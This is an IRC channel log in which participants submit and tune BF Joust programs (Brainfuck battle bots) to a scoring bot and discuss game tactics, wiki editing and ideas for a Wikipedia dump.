lol 02:52:13 !bfjoust tripwire >+[]<(+)*384000 02:52:15 Score for nescience_tripwire: 0.0 02:52:15 should tie everything 02:52:23 !bfjoust morefail >+[]+[->[-]](>)*7[>[-]] 02:52:26 Score for coppro_morefail: 0.0 02:52:28 i woner why not 02:52:29 oops 02:52:33 !bfjoust matador >+[]<(+)*123456(-)*123456(>)*9(>[+])*21 02:52:35 Score for Patashu_matador: 0.0 02:52:35 !bfjoust morefail >+[]+[->[-]](>)*7[>[-].] 02:52:36 Score for coppro_morefail: 0.0 02:52:45 hmmm 02:52:52 !bfjoust matador >+[]<.(+)*123456(-)*123456(>)*9(>[+])*21 02:52:54 Score for Patashu_matador: 0.0 02:52:55 !bfjoust tripwire >(+)*384000 02:52:56 Score for nescience_tripwire: 8.5 02:52:58 !bfjoust matador >+[]<.(+)*123456.(-)*123456(>)*9(>[+])*21 02:52:58 lol 02:53:00 Score for Patashu_matador: 0.0 02:53:07 !bfjoust morefail >+[]+[->[-]](>)*7+[[-].>] 02:53:09 Score for coppro_morefail: 0.0 02:53:10 !bfjoust matador >+[]<(+)*123456.(-)*123456(>)*9(>[+])*21 02:53:12 Score for Patashu_matador: 0.0 02:53:15 please cut the spam out, jesus 02:53:19 at least stop and reflect on your scores 02:53:21 never! 02:53:21 -!- Gracenotes has joined. 02:53:25 remember the bot isn't reporting an accurate score 02:53:31 so you have to refresh the chart at least 02:53:32 there was an obvious bug in mine 02:53:35 and every time you submit it blanks the chart 02:53:45 damn bugs 02:53:57 it's probably my fault heh :P 02:54:00 running out the clock 02:54:15 hmm that last time it beat 10 and did a whole bunch of ties 02:54:20 rofl my new one can't win 02:54:23 it still loses 02:54:23 so why is it tieing then? it kills itself or it times out? 02:54:23 wtf 02:54:31 tie should be time runs out 02:54:38 oh, of course 02:54:41 the defends don't use loops 02:54:46 and anything that doesn't loop would win 02:54:48 silly me 02:54:56 !bfjoust matador >+[]<(+)*500.(-)*500(>)*9(>[+])*21 02:54:58 also i forgot something about my own attempt 02:54:58 Score for Patashu_matador: 9.0 02:55:12 that beats creep and kekeke 02:55:58 !bfjoust matador >+[]<(++-)*256.(--+)*256(>)*9(>[+])*21 02:56:00 Score for Patashu_matador: 14.0 02:56:07 oh-ho 02:56:11 beats rushpolarity XD 02:56:32 !bfjoust matador >+[]<(++-)*129.(--+)*129(>)*9(>[+])*21 02:56:34 Score for Patashu_matador: 41.0 02:56:41 no that does worse 02:56:48 !bfjoust matador >+[]<(++-)*500.(--+)*500(>)*9(>[+])*21 02:56:50 Score for Patashu_matador: 17.3 02:56:58 holy lol 02:57:00 that does real well 02:57:07 !bfjoust matador >+[]<(++-)*1000.(--+)*1000(>)*9(>[+])*21 02:57:09 Score for Patashu_matador: 55.6 02:57:17 !bfjoust tripwire http://pastie.org/490870.txt 02:57:19 Score for nescience_tripwire: 0.0 02:57:26 !bfjoust matador >+[]<(.+-)*1000.(.-+)*1000(>)*9(>[+])*21 02:57:28 Score for Patashu_matador: 48.1 02:57:28 yeah, didn't think it'd do much better 02:57:39 !bfjoust matador >+[]<(.+-)*1000(.-+)*1000(>)*9(>[+])*21 02:57:41 Score for Patashu_matador: 48.1 02:57:54 !bfjoust watch_killer [>[[-]+>[][+]]] 02:58:08 Score for coppro_watch_killer: 0.0 02:58:10 !bfjoust matador >+[]<(.+-)*512(.-+)*512(>)*9(>[+])*21 02:58:11 aw 02:58:12 Score for Patashu_matador: 39.5 02:58:29 !bfjoust matador >+[]<(.+-)*1000(.-+)*1000(>)*9(>[+])*21 02:58:31 Score for Patashu_matador: 39.5 02:58:39 !bfjoust matador >+[]<(.+-)*1000.(.-+)*1000(>)*9(>[+])*21 02:58:41 Score for Patashu_matador: 39.5 02:58:49 okay that . makes it win for some reason 02:58:55 must be a parity thing 02:59:07 likely 02:59:20 hmm I wonder 02:59:20 !bfjoust watch_killer [>[[-]+>[][+--]]] 02:59:22 Score for coppro_watch_killer: 0.0 02:59:24 still probably gonna be affected by randomness 02:59:27 !bfjoust matador >-[]<(.+-)*1000.(.-+)*1000(>)*9(>[+])*21 02:59:28 Score for Patashu_matador: 48.1 02:59:29 hrmm why's mine failing 02:59:44 what is that horrid thing doing 02:59:45 lol 03:00:31 !bfjoust watch_killer [>[[-](.)*1000]] 03:00:32 Score for coppro_watch_killer: 0.0 03:00:41 oh wait I see 03:00:42 duh 03:00:46 !bfjoust watch_killer [>[[-]+>[][+--]]+] 03:00:46 mixed up what [] does? 03:00:47 Score for coppro_watch_killer: 0.0 03:00:53 hrm 03:00:54 oo 03:00:55 !bfjoust watch_killer [>[[-](.)*1000]+] 03:00:56 it gets 31.5 now 03:00:57 Score for coppro_watch_killer: 31.5 03:01:00 there we go 03:01:01 don't forget to check the chart after you submit something 03:01:02 because 03:01:04 the score it gives you 03:01:05 oh yeah 03:01:07 right 03:01:11 was the score for the LAST program you submitted 03:01:12 !bfjoust tripwire >+[]<[]+(>[+](.)*128)*29 03:01:13 !bfjoust watch_killer [>[[-]+>[][+--]]+] 03:01:14 Score for nescience_tripwire: 45.0 03:01:14 Score for coppro_watch_killer: 37.0 03:01:29 basically it tricks defenders into killing themselves 03:01:30 can't believe i/nobody thought of that yet 03:01:40 coppro: yes, that's what i did like two hours ago :P 03:01:46 heh 03:01:51 the above should beat loopers and both defenders 03:01:58 but doesn't 03:01:59 bugs? 03:02:12 hmm... I've got a new one to try 03:02:14 i wish their numbers would stay the same 03:02:17 !bfjoust matador >-[]<[]+-++--+++---++++----(>)*9(>[+])*21 03:02:19 Score for Patashu_matador: 0.0 03:02:25 no good, ok 03:02:29 !bfjoust matador >-[]<(.+-)*1000.(.-+)*1000(>)*9(>[+])*21 03:02:30 Score for Patashu_matador: 58.0 03:03:02 hmm... it would be more interesting 03:03:10 if you had one 0 cell beyond each flag 03:03:40 suggest it 03:04:01 where? 03:04:11 http://esolangs.org/wiki/BF_Joust talk page 03:04:39 !bfjoust tripwire >+[]<[]+.+(>)*9(>[.+])*29 03:04:41 Score for nescience_tripwire: 0.0 03:04:49 would allow for more interesting possibilities, because then programs could identify flags other than by hoping they don't run off the end 03:04:58 hm, i think maybe the timing is not correct 03:05:06 coppro: it's called "joust" not "snipe" ;) 03:05:10 FULL SPEED AHEAD 03:05:30 nescience: you can, of course, trick your opponent still! 03:05:51 more importantly, it allows defensive strategies that don't need to use fixed numbers in the source 03:05:57 !bfjoust test [>[-]+] 03:06:01 Score for nescience_test: 35.0 03:06:15 yeah 03:06:17 timing thing 03:06:18 beats matador haha 03:06:19 wtf, that might be a bug 03:06:28 let's look at this closely 03:06:31 >+ sets it to 1 03:06:35 [] waits til its 0 03:06:41 from what was described to me before 03:06:46 no matter if it is executing [ or ] 03:06:51 [] loops if the cell is not 0\ 03:06:53 it will skip to < 03:06:55 when the cell is 0 03:07:03 then it waits on my fag 03:07:05 flag* 03:07:07 [] again 03:07:08 it will only halt if it encounters a -1 cell 03:07:19 when the flag becomes 0 it should execute + 03:07:23 and save m... ah 03:07:27 but the enemy...... no 03:07:34 'cause the enemy should be at that point executing ] 03:07:45 -]-]-]-]-] 03:07:50 or +]+]+]+]+] 03:07:53 so - makes it 0 03:07:57 it is 0 at the start of ] 03:08:00 loop falls through 03:08:03 I think I see why it beats matador 03:08:06 for my part, 03:08:15 it falls through a... i see 03:08:19 that seems non optimal 03:08:28 !bfjoust matador >-[]<(++-)*1000.(--+)*1000(>)*9(>[+])*21 03:08:30 Score for Patashu_matador: 53.1 03:08:40 so what happens is my test doesn't work until it has been 0 for 1 round 03:08:43 k, fixed the vulnerability 03:09:02 now it only beats creep and watch kille 03:09:03 +r 03:09:49 I have an idea to tweak rushpolarity now 03:10:06 !bfjoust tripwire >+[]<(.)*128+(>)*9(>[.+])*29 03:10:07 Score for nescience_tripwire: 8.0 03:10:18 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-].+>(-)*9[+].->)*11 03:10:20 Score for Patashu_rushpolarity: 71.0 03:10:24 lol test still beats it 03:10:25 hmm 03:10:32 k, does not help 03:10:39 oh right 03:10:40 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-]+>(-)*9[+]->)*11 03:10:41 timing mistake 03:10:42 Score for Patashu_rushpolarity: 49.4 03:10:49 hmm 03:10:53 !bfjoust tripwire >+[]<(.)*256+(>)*9(>[.+])*29 03:10:55 Score for nescience_tripwire: 8.0 03:10:58 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-][+]>(-)*9[+][-]>)*11 03:11:00 Score for Patashu_rushpolarity: 49.0 03:11:17 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5([-][+]>[+][-]>)*11 03:11:19 Score for Patashu_rushpolarity: 45.1 03:11:28 no that's not doing it at all haha 03:11:31 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-]>(-)*9[+]>)*11 03:11:33 Score for Patashu_rushpolarity: 29.6 03:11:34 back to the original spec 03:11:49 !bfjoust tripwire >+[]<(.)*256+(>)*9(>[.+])*29 03:11:50 Score for nescience_tripwire: 8.0 03:12:08 !bfjoust tripwire >+[]<(.)*257+(>)*9(>[.+])*29 03:12:09 Score for nescience_tripwire: 8.0 03:12:19 !bfjoust tripwire >+[]<(.)*255+(>)*9(>[.+])*29 03:12:21 Score for nescience_tripwire: 8.0 03:12:23 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-]+-++-->(-)*9[+]+-++-->)*11 03:12:25 Score for Patashu_rushpolarity: 60.0 03:12:38 hmm 03:12:39 gonna have to notepad this up and solve a simpler problem 03:12:47 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-]+-.++-->(-)*9[+]+-.++-->)*11 03:12:48 ah there we go 03:12:49 Score for Patashu_rushpolarity: 58.6 03:12:51 it beats test 03:12:52 lol 03:12:53 but nothing else 03:13:03 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-].+-++-->(-)*9[+].+-++-->)*11 03:13:05 Score for Patashu_rushpolarity: 45.1 03:13:06 i guess nobody uses a simple attack anymore 03:13:12 !bfjoust fooled_ya (>+>-)*4[>[-]+] 03:13:13 oo that's good 03:13:13 :) 03:13:16 Score for coppro_fooled_ya: 27.5 03:13:27 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-].+->(-)*9[+].+->)*11 03:13:28 Score for Patashu_rushpolarity: 68.5 03:13:33 that's not 03:13:44 oh right, need defense protection 03:13:44 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-].+-++--+++--->(-)*9[+].+-++--+++--->)*11 03:13:46 Score for Patashu_rushpolarity: 56.2 03:13:58 !bfjoust fooled_ya (>+>-)*4[>[[-]+]+] 03:13:59 Score for coppro_fooled_ya: 25.3 03:14:03 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-].+-.++-->(-)*9[+].+-.++-->)*11 03:14:04 Score for Patashu_rushpolarity: 49.4 03:14:05 !bfjoust fooled_ya (>+>-)*4[>[+[-]]+] 03:14:07 Score for coppro_fooled_ya: 25.3 03:14:29 hmm... that's better 03:14:32 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-].+-++-->(-)*9[+].+-++-->)*11 03:14:34 Score for Patashu_rushpolarity: 58.6 03:14:35 -!- inurinternet has joined. 03:14:37 how does the scoring system work? 03:14:44 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-].+-.++-->(-)*9[+].+-.++-->)*11 03:14:46 Score for Patashu_rushpolarity: 48.8 03:14:50 you get more points for beating programs with more points 03:15:04 !bfjoust fooled_ya (>(+)*32>(-)*32)*4[>[+[-]]+] 03:15:06 Score for coppro_fooled_ya: 29.6 03:15:11 haha matador's falling now that it doesn't beat rushpolarity any more 03:15:14 :') 03:15:21 i think the scoring system needs a little work 03:15:32 ._. 03:15:35 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5([-].+-.++-->[+].+-.++-->)*11 03:15:37 Score for Patashu_rushpolarity: 63.0 03:15:44 if you get points for beating something before its battle with you gets taken account of, then things are a little weird the first submit 03:15:45 damn that shortswod 03:15:47 i dunno how they work it out 03:15:48 *shortsword 03:16:03 I don't understand exactly how this game works well enough yet 03:16:07 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5(+[-].+-.++-->-[+].+-.++-->)*11 03:16:09 Score for Patashu_rushpolarity: 45.1 03:16:16 hm? How are parens and numerical symbols determined? 03:16:21 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-].+-.++-->(-)*9[+].+-.++-->)*11 03:16:22 Score for Patashu_rushpolarity: 45.1 03:16:23 ...is that just repeating text? 03:16:27 yes 03:16:31 (foo)*num = foofoofoofoo...num times 03:16:33 ah. mak sanse. 03:16:33 that's it 03:16:47 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-].+-.++-->(-)*9[+].+-.++-->)*11 03:16:48 !bfjoust tripwire >+[]<[-++-](>)*9(>-++-(.)*128[+])*29 03:16:49 (some{stuff}things)*2=somesomestuffthingsthings 03:16:49 Score for nescience_tripwire: 8.0 03:16:49 Score for Patashu_rushpolarity: 30.9 03:17:07 how are scores done? :) 03:17:12 hm 03:17:20 !bfjoust tripwire >+[]<[--](>)*9(>-++-(.)*128[+])*29 03:17:21 Score for nescience_tripwire: 0.0 03:17:22 you get points for a win 03:17:24 ha 03:17:25 and the more that program had 03:17:26 the more you get 03:17:38 interesting results 03:17:41 I have heard of BF jousting, but not the specifics 03:17:41 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*8[-].+-.++-->(-)*8[+].+-.++-->)*11 03:17:43 Score for Patashu_rushpolarity: 45.0 03:17:50 oh of course tripwire would always tie the defends 03:18:01 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-].+-.++-->(-)*9[+].+-.++-->)*11 03:18:03 Score for Patashu_rushpolarity: 36.4 03:18:03 !bfjoust tripstep [>[>[-]]+] 03:18:09 Score for coppro_tripstep: 37.0 03:18:37 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-].+.--++>(-)*9[+].+.--++>)*11 03:18:39 Score for Patashu_rushpolarity: 54.5 03:19:02 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-]+.--.++>(-)*9[+]+.--.++>)*11 03:19:04 Score for Patashu_rushpolarity: 47.5 03:19:14 aha 03:19:48 !bfjoust tripstep [>[[>[-].+]]+] 03:19:50 Score for coppro_tripstep: 43.0 03:20:19 !bfjoust test (>)*9(-++-(-)*70[+])*20 03:20:21 Score for nescience_test: 22.5 03:20:44 !bfjoust matador >-[]<(++-)*1000.(--+)*1000(>)*9(>[+][-])*21 03:20:46 Score for Patashu_matador: 29.0 03:21:06 !bfjoust matador >-[]<(++-)*1000(--+)*1000(>)*9(>[+][-])*21 03:21:07 Score for Patashu_matador: 29.0 03:21:30 !bfjoust matador >-[]<(++-)*1000.(--+)*1000(>)*9(>[+][-])*21 03:21:32 Score for Patashu_matador: 42.0 03:21:41 oop now it beats rushpolarity again 03:21:48 :> 03:21:58 !bfjoust test >----->+++++>----->+++++>----->+++++>-----(>-++-(-)*70[+])*20 03:21:59 Score for nescience_test: 7.5 03:22:02 whoops forgot to put > in it 03:22:24 !bfjoust matador >-[]<(++-+-)*1000.(--+-+)*1000(>)*9(>[+][-])*21 03:22:25 Score for Patashu_matador: 7.4 03:22:30 beats defends and some others now 03:22:32 heh 03:22:36 !bfjoust matador >-[]<(++-)*1000.(--+)*1000(>)*9(>[+][-])*21 03:22:38 Score for Patashu_matador: 44.4 03:22:40 better'n creep at least 03:23:01 !bfjoust matador >+[]<(++-)*1000.(--+)*1000(>)*9(>[+][-])*21 03:23:02 Score for Patashu_matador: 30.9 03:23:11 !bfjoust matador >-[]<(++-)*1000.(--+)*1000(>)*9(>[+][-])*21 03:23:12 Score for Patashu_matador: 30.9 03:23:28 hmm 03:23:39 it needs to do two fights against each program imho 03:23:43 !bfjoust tripstep [>[+[--[>[-].+]]<+[>[-].+].+]]+] 03:23:45 Score for coppro_tripstep: 0.0 03:23:49 :( 03:23:49 wow look at that thing 03:23:57 it needs indentation 03:24:04 haha 03:24:07 !bfjoust tripstep [>[+[--[>[-].+]]+[[-].>+].+]]+] 03:24:09 Score for coppro_tripstep: 0.0 03:24:23 hfm 03:26:10 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5([+[-]]+.--.++>[-[+]]+.--.++>)*11 03:26:12 Score for Patashu_rushpolarity: 55.6 03:26:22 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-]+.--.++>(-)*9[+]+.--.++>)*11 03:26:24 Score for Patashu_rushpolarity: 30.9 03:26:36 !bfjoust playing_the_odds (>)*13(>(-)*128.)*15 03:26:38 Score for nescience_playing_the_odds: 27.0 03:26:45 hehe 03:26:57 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*8[+[-]]+.--.++>(-)*9[-[+]]+.--.++>)*11 03:26:59 Score for Patashu_rushpolarity: 55.5 03:27:01 !bfjoust playing_the_odds (>)*13(>(-)*128.)*15 03:27:03 Score for nescience_playing_the_odds: 27.0 03:27:12 hmm 03:27:33 !bfjoust playing_the_odds (>+>-)*6>(>(-)*128.)*15 03:27:33 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*8[+[-]]+.--.++>(-)*8[-[+]]+.--.++>)*11 03:27:34 Score for nescience_playing_the_odds: 40.7 03:27:35 Score for Patashu_rushpolarity: 51.9 03:28:29 !bfjoust playing_the_odds (>+++++>-----)*2(>)*9(>(-)*128.)*15 03:28:30 Score for nescience_playing_the_odds: 26.5 03:28:38 !bfjoust rushpolarity >(+)*10>(-)*10>-->++(>)*5((+)*8[+[-]]+.--.++>(-)*8[-[+]]+.--.++>)*11 03:28:40 Score for Patashu_rushpolarity: 54.3 03:28:45 ah well, second try was the best heh 03:29:15 ah well, second try was the best heh 03:29:18 !bfjoust playing_the_odds (>+++++>-----)*2(>)*9(>(-)*128.)*15 03:29:19 Score for nescience_playing_the_odds: 38.3 03:29:22 rolling for a better score! 03:29:29 win 03:29:31 :D 03:29:32 cache that pls 03:29:46 didn't quite beat both defends though 03:30:06 that'll be an amusing one to have on the hill 03:30:11 i wonder how long it'll stay 03:31:15 shortsword has staying power at least 03:31:25 here's a better one! 03:31:47 !bfjoust (>)*15([{-}])*100 03:31:47 Use: !bfjoust 03:31:52 !bfjoust dice!(>)*15([{-}])*100 03:31:53 Use: !bfjoust 03:31:55 !bfjoust dice! (>)*15([{-}])*100 03:32:04 Score for coppro_dice_: 0.0 03:32:09 ... 03:32:13 :P 03:32:41 the hill should have an "age" parameter ala corewars hills 03:46:11 wtf save page is failing miserably 03:46:55 keeps giving me an 'edit conflict' error 03:47:00 but there isn't one 03:47:54 on the esolang wiki? 03:48:19 add an edit comment 03:48:30 stupid wikis capitalizing my username 03:49:48 well, registering fied that 03:49:57 nescience: if that was you on the BF Joust talk page, please sign with ~~~~ 03:50:08 how come ais523 gets a lowercase nick and i don't :( 03:50:12 oerjan: i did 03:50:23 i didn't have an account before 03:51:20 are you Myndzi? 03:51:28 yes 03:51:42 were you the previous comment too? 03:51:44 it just looks wrong with a capital M >:( 03:51:46 no 03:51:52 ic 03:52:00 my edit was only the last paragraph 03:52:01 * oerjan will add an unsigned template 03:52:24 assuming i can get the damn molasses to load 03:52:59 coppro was that unsigned paragraph 03:53:25 oh, I must have not been logged in 03:53:27 oops 03:53:56 that was you? then maybe best you sign yourself 03:54:02 or wait 03:54:15 i can just change the nick 03:54:32 mine was the comment about going past the end 03:54:41 i don't really see how that would be useful though 03:54:47 since you can't simply test for 0 03:54:50 it doesn't gain you anything 03:55:26 coppro: actually i don't know your username 03:56:08 oh, dear, it appears I never signed up to esolang 03:56:11 that explains a lot 03:56:17 heh :D 03:56:32 >((o> lol fish submit that! 03:56:38 coppro: also, whether or not you are logged in you need to use a ~~~~ command to sign (it's in the button menu) 03:56:48 I did 03:58:23 nescience: dammit your decapitalization made an edit conflict :( 03:58:28 lol 03:58:44 now you know how i feel! :P 03:58:49 except there actually was one 03:58:51 o well 03:59:55 nescience: also the signature text can be set in preferences 04:00:24 you mean "nickname"? 04:00:29 yes 04:00:33 i thought that's what it was, but when i changed it, it didn't affect the page 04:00:37 that's why i edited it manually 04:00:37 * oerjan changed it to use an Ø 04:00:42 oh 04:00:52 nescience: it's not your username 04:01:07 ? 04:01:08 only used for signature i think 04:01:15 right 04:01:21 but my signature had still taken from before 04:01:26 thus i changed it too 04:01:38 oh of course 04:01:45 between wikis and muds lately, *sighs* 04:16:53 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com ."). 04:16:56 -!- GregorR has quit (anthony.freenode.net irc.freenode.net). 04:17:38 -!- GregorR has joined. 04:18:00 !bfjoust test >+>->+>->+>->+>[[+]>-++] 04:18:01 Score for nescience_test: 38.5 04:19:38 !bfjoust test >+>->+>->+>->+>(-++-(-.)*130>)*20 04:19:40 Score for nescience_test: 0.0 04:20:43 !bfjoust test >(+)*50>(-)*50>(+)*30>(-)*30>(+)*10>(-)*10>+>(-++-(-.)*130>)*20 04:20:45 Score for nescience_test: 34.6 04:27:05 I'm glad to see bfjoust is being used. 04:27:06 -!- sebbu has joined. 04:27:32 Any further complaints from anybody? 04:27:51 You aren't creating a digital manifestation of God. 04:27:53 i think the game won't go all that far 04:28:14 it's about the best it can be in its current form, but there really aren't that many options 04:28:18 dunno though, could be wrong1 04:28:23 there are a number of comments on the wiki talk page 04:28:37 Then try FYB instead :P 04:29:06 heh heh 04:29:17 i'm not a huge fan of BF in the first place 04:29:37 When is bfjoust from ... does FYB predate it? 04:29:50 i wouldn't know 04:32:26 i wonder 04:32:40 in the true spirit of capture the flag, what would happen if you had to come back to your base and set your own flag back to 128? ;) 04:32:52 too complicated surely, also nobody would be able to keep track of their flag 04:36:35 !fyb minimangler +!> 04:36:53 Score for GregorR-L_minimangler: 0.0 04:37:01 Ouch :P 04:37:31 !fyb minimangler :+!>;* 04:37:33 Score for GregorR-L_minimangler: 0.0 04:37:37 *shrugs* 04:39:18 !fyb cheers :D 04:39:28 Score for oerjan_cheers: 4.5 04:39:34 lawl :P 04:41:32 :D 04:41:34 D: 04:43:03 -!- sebbu2 has quit (Read error: 110 (Connection timed out)). 04:44:51 -!- Corun has quit ("Leaving..."). 04:51:13 * coppro starts working on the Evil Calculus Book of Doom 04:54:58 itym the Evil Doom Calculus Book of the Apocalypse 05:04:19 sorry 05:04:39 so i have a dump of wikipedia 05:04:42 what should i do with it 05:04:43 stupid fact that I have to do tons of coursework even though I'm challenging the course 05:04:53 make a programming language using wikipedia links 05:07:13 bsmntbombdood: what kind of dump? 05:07:31 current pages in article namespace? 05:07:35 the current version of all namespace 1 pages 05:07:54 that's the talk namespace :) 05:08:05 nuh uh 05:09:11 article is the first namespace, but its numbering is 0 05:09:30 anyway. >_> 05:09:49 perhaps you could make a graph based on what articles link to each other? 05:10:05 xkcd :D 05:10:13 although there are already dumps that have that information 05:10:18 you could do lots of interesting stuff with that 05:10:33 you can download just the link graph actually 05:10:37 shortest path between two articles, for example 05:10:40 ›_› 05:10:49 （　≖‿≖） 05:11:24 hahaha 05:11:28 rofl xkcd 05:12:33 oh, really? 05:12:38 that good 05:12:41 *looks* 05:13:19 heh. heh. heh heh. 05:14:27 bsmntbombdood: there's always Markov chains 05:14:34 you'll have to strip out formatting 05:14:43 lots of training text... 05:14:47 that just gives you pagerank 05:14:58 oh, markov chains of text 05:16:37 run Flesch-Kincaid maybe 05:17:17 "The logistics of who can get drunk are nontrivial." 05:17:38 hmmm 05:17:41 i need a drunk 05:17:46 I disagree. 05:17:54 I think you've had quite enough already 05:18:37 bsmntbombdood: schorry, i cant 'elp chu there 05:19:30 hm. I should try implementing Flesch-Kincaid in Haskell 05:19:40 kinky flesh 05:19:54 down boy 05:21:59 the syllable part may be a bit complicated 05:22:56 -!- oerjan has quit ("leaving"). 05:23:01 er 05:23:03 :.; 05:23:43 actually it's less complicated than I thought 05:23:57 http://flesh.cvs.sourceforge.net/viewvc/flesh/Flesh%201.5/FleshLogic.java?revision=1.3&view=markup#l_523 05:24:05 more of a guess... but seems accurate enough 05:24:15 might be worth it to have a special table for corner cases 05:24:47 it doesn't say whether or not this is a standard algorithm. rather specific to English anyway 05:25:26 broken link 05:25:45 wha 05:25:56 yeah... that's messed up. it worked a second ago 05:26:28 okay, should work now 05:26:50 actually, it does screw up quite a bit: http://flesh.cvs.sourceforge.net/viewvc/flesh/Flesh%201.5/CommonMistakes.java?revision=1.3&view=markup 05:27:19 needs more English knowledge 06:01:32 you can get dictionary files that break it down 06:03:04 Flesch-Kincaid sounds like a bunch of bs anyway 06:03:17 who cares how long sentences or words are 06:03:45 Floridan insurance brokers, per Wikipedia 06:05:42 insurance and florida, that's all you need to know about their position 06:34:38 -!- GregorR-L has quit (Remote closed the connection). 06:44:05 -!- GregorR-L has joined. 07:01:37 -!- psygnisfive has quit ("Leaving..."). 07:27:17 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 07:37:35 -!- coppro has quit (Read error: 60 (Operation timed out)). 07:41:32 -!- GregorR-L has quit ("Leaving"). 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:55:25 -!- lereah_ has joined. 09:13:01 -!- GregorR-L has joined. 09:39:50 -!- Gracenotes has quit ("brb"). 09:42:44 -!- Gracenotes has joined. 09:58:01 -!- tombom has joined. 10:04:37 -!- Patashu has joined. 10:13:25 hmm, still on the top of the hill 10:18:27 The next challenge: DOMINATE the hill. 10:19:41 I have no idea how to beat the defense6s and still beat everything else 10:19:45 I haven't even seen their code 10:20:10 http://codu.org/eso/bfjoust/in_egobot/ 10:20:23 Uncommented though :P 10:20:40 oh 10:20:43 god damn that's long rofl 10:20:49 I need a decompiler 10:21:22 ais posted a link to a commented version ... 10:23:23 Ah, here 'tis 10:23:24 http://pastebin.ca/1435376 10:23:55 May 26 16:29:09 it attacks something in particular, which is the [-] or [+] loop 10:23:55 May 26 16:29:13 nearly all programs have one 10:23:55 May 26 16:29:38 and if they go into such a loop on its flag, then defend6 will keep them in it forever, whilst running off and sinking their flag 10:24:30 *zleep* 10:24:47 oh I see 10:24:54 and it keeps coming back incrementially to keep it off zero 10:25:16 so it has an ultra-huge source code since there's no construct that says 'repeat this but increase this number by x every time' 11:51:27 -!- oerjan has joined. 12:16:29 -!- oerjan has quit ("leaving"). 12:24:04 -!- M0ny has joined. 12:24:55 -!- Sgeo has joined. 12:52:55 -!- AnMaster has quit (Success). 12:57:06 -!- AnMaster has joined. 13:40:23 -!- Corun has joined. 14:13:19 -!- tombom has quit ("Peace and Protection 4.22.2"). 14:23:45 -!- MizardX has quit ("What are you sinking about?"). 14:39:36 -!- MizardX has joined. 14:47:15 -!- Corun has changed nick to Corun|away. 14:51:09 -!- Corun|away has changed nick to Corun. 15:34:59 -!- inurinternet has quit (Success). 15:49:47 -!- inurinternet has joined. 15:54:00 -!- impomatic has joined. 15:58:28 -!- lereah_ has quit ("Leaving"). 16:01:30 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com ."). 16:43:04 -!- Gracenotes has quit (Success). 16:57:24 -!- BeholdMyGlory has joined. 17:00:50 -!- tombom has joined. 17:06:16 -!- fungebob has joined. 17:06:18 -!- FireFly has joined. 17:40:31 cool i still own bf joust 17:42:35 01:38 Patashu: just one glitch 17:42:35 01:38 Patashu: the score it gives is for the LAST time you submitted a program 17:42:37 01:39 Patashu: i.e. one submission delay 17:42:39 GregorR: GregorR-L: fix that 17:46:50 !bfjoust phantom (>)*10([+[--[+++[----[+++++[------[+++++++[--------[+++++++++[----------]]]]]]]]]].>)*20 17:46:56 Score for ehird_phantom: 41.5 17:47:06 not bad 17:47:08 not bad at all 17:47:28 !bfjoust phantom (>)*10(-[+[--[+++[----[+++++[------[+++++++[--------[+++++++++[----------]]]]]]]]]]>)*20 17:47:33 Score for ehird_phantom: 42.6 17:47:48 !bfjoust phantom (>)*10(-[+[--[+++[----[+++++[------[+++++++[--------[+++++++++[----------]]]]]]]]]].>)*20 17:47:49 Score for ehird_phantom: 42.6 17:48:35 Ehird: is that tailored for the decoys left by the programs on the current hill? 17:49:01 lol creep officially beats nothing except the defends now 17:49:04 impomatic: pretty much, it tries to find out whether it's big or small and efficiently zeroes it based on that 17:49:10 !bfjoust phantom (>)*10(+[-[++[---[++++[-----[++++++[-------[++++++++[---------[++++++++++]]]]]]]]]]>)*20 17:49:11 Score for ehird_phantom: 42.6 17:49:23 but amusingly, 'playing the odds' is in 4th 17:49:26 hmm flipping them does nothing 17:49:27 <3 cached scores 17:49:27 interesting 17:49:42 refresh page 17:49:47 remember it tends to show your last score 17:49:47 3 | - + + - - - - + - | 42.6| -3| ehird_phantom.bfjoust 17:49:50 that's what it was before 17:49:50 not the score after submission 17:50:03 i see 17:50:11 !bfjoust phantom (>)*10(-[+[-[+[-[+[-[+[-[+[-]]]]]]]]]]>)*20 17:50:12 Score for ehird_phantom: 42.6 17:50:16 not all that surprising i guess 17:50:17 I was wondering if it's possible to detect certain opponents and use a tailored attack. 17:50:17 ouch 17:50:20 that put it down to 14.2 17:50:33 speed, i guess 17:50:52 makes me wonder why so many +s before looping is effective though 17:50:55 i guess it sets decoys of its own 17:51:09 btw don't you want >*9? 17:51:15 if it's 10 units long, it's 9 to the enemy flag 17:51:19 oh 